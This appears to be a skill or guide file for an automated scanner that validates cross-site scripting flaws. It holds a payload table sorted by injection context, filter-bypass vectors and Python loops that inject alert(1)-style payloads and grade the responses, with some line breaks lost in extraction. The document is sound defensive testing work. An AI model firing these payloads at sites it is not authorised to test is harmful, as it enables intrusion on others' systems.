Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS...
Validate XSS vulnerabilities by injecting script payloads into user-controlled inputs and observing:
Payload is reflected directly from request to response without storage.
Detection Methods:
<script>alert(1)</script> in parameters, observe in response body<script> not converted to <script>)Example Attack:
GET /search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
Payload is stored server-side and served to other users.
Detection Methods:
Example Attack:
POST /comments {"body": "<script>alert(1)</script>"}
GET /comments → Response includes stored script
Payload is injected via client-side JavaScript manipulating the DOM.
Detection Methods:
#<script>...)location.hash, document.URL, document.referrerinnerHTML, document.write, evalExample Attack:
GET /page#<img src=x onerror=alert(1)>
Client JS: document.getElementById('output').innerHTML = location.hash.slice(1);
Simple script tag injection in HTML body.
Detection: <script>alert(1)</script> reflected unencoded.
XSS in application error pages/messages.
Detection: Inject payload that triggers error, check error page for reflection.
Payload breaks out of HTML attribute context.
Detection Methods:
" onmouseover="alert(1) — break double-quoted attribute' onfocus='alert(1) — break single-quoted attribute" autofocus onfocus="alert(1) — auto-triggeringExample:
<input value="USER_INPUT" />
Payload: " onfocus="alert(1)" autofocus="
Result: <input value="" onfocus="alert(1)" autofocus="" />
Injection via javascript: or data: URI schemes.
Detection: javascript:alert(1) in href/src attributes.
Example:
<a href="USER_INPUT">Click</a>
Payload: javascript:alert(1)
Result: <a href="javascript:alert(1)">Click</a>
Bypass filters using doubled/nested characters.
Detection: <<script>script>alert(1)<</script>/script> bypasses naive stripping.
Injection using invalid/special Unicode characters.
Detection: Null bytes, UTF-7, charset confusion attacks.
Non-standard XSS vectors that bypass filters.
Detection Methods:
<svg onload=alert(1)><img src=x onerror=alert(1)><body onload=alert(1)><iframe src="javascript:alert(1)">`${alert(1)}`| Context | Encoding Required | Payload Examples |
|---|---|---|
| HTML Body | HTML entity encoding | <script>alert(1)</script> |
| HTML Attribute | Attribute encoding + quote escape | " onmouseover="alert(1) |
| JavaScript String | JavaScript string escaping | ';alert(1)// or </script><script>alert(1) |
| JavaScript Template | Template literal escaping | ${alert(1)} |
| URL Parameter | URL encoding | javascript:alert(1) |
| CSS Value | CSS escaping | expression(alert(1)) (legacy IE) |
Key Insight: Any user input that appears in HTML output is a potential XSS vector.
Analyze where input is reflected:
<script> blocks or event handlershref, src, action attributes<style> blocksReflected XSS (HTML Body):
payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
]
for payload in payloads:
resp = get(f"/search?q={quote(payload)}")
if payload in resp.text: # Unencoded reflection
status = "VALIDATED"
Attribute Context XSS:
payloads = [
'" onmouseover="alert(1)',
"' onfocus='alert(1)",
'" autofocus onfocus="alert(1)',
]
for payload in payloads:
resp = get(f"/profile?name={quote(payload)}")
if 'onmouseover=' in resp.text or 'onfocus=' in resp.text:
status = "VALIDATED"
JavaScript Context XSS:
payloads = [
"';alert(1)//",
"</script><script>alert(1)</script>",
"'-alert(1)-'",
]
for payload in payloads:
resp = get(f"/page?callback={quote(payload)}")
if "alert(1)" in resp.text and "<script>" in resp.text:
status = "VALIDATED"
URI Scheme XSS:
payloads = [
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
resp = get(f"/redirect?url={quote(payload)}")
if f'href="{payload}"' in resp.text or f"href='{payload}'" in resp.text:
status = "VALIDATED"
| Status | Meaning |
|---|---|
| VALIDATED | Payload reflected unencoded in executable context |
| FALSE_POSITIVE | Payload properly encoded/sanitized |
| PARTIAL | Partial reflection or unclear execution context |
| UNVALIDATED | Blocked, error, or insufficient evidence |
Validation Criteria:
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
status, injection_type, cwealert(1) or DOM markers, not malicious codeValidated examples:
Reflected XSS on /search - <script>alert(1)</script> reflected unencoded in HTML body (CWE-79). Session hijacking risk.
Attribute XSS on /profile - " onmouseover="alert(1) breaks out of value attribute (CWE-83). User interaction triggers payload.
DOM-based XSS on /page - location.hash injected via innerHTML sink (CWE-79). Client-side execution confirmed.
Stored XSS on /comments - payload persists and reflects to other users (CWE-79). Worm propagation possible.
Unvalidated example:
XSS test incomplete on /feedback - payload HTML-encoded as <script>. Evidence: path/to/evidence.json
Primary CWE (DAST-testable):
Child CWEs (specific variants under CWE-79):
Parent/Related CWEs (context):
Related Attack Patterns:
alert(1), console.log) not malicious scriptsreference/xss_payloads.py for XSS payloads by contextreference/validate_xss.py for XSS-focused validation flowexamples.md for concrete XSS scenarios and evidence formats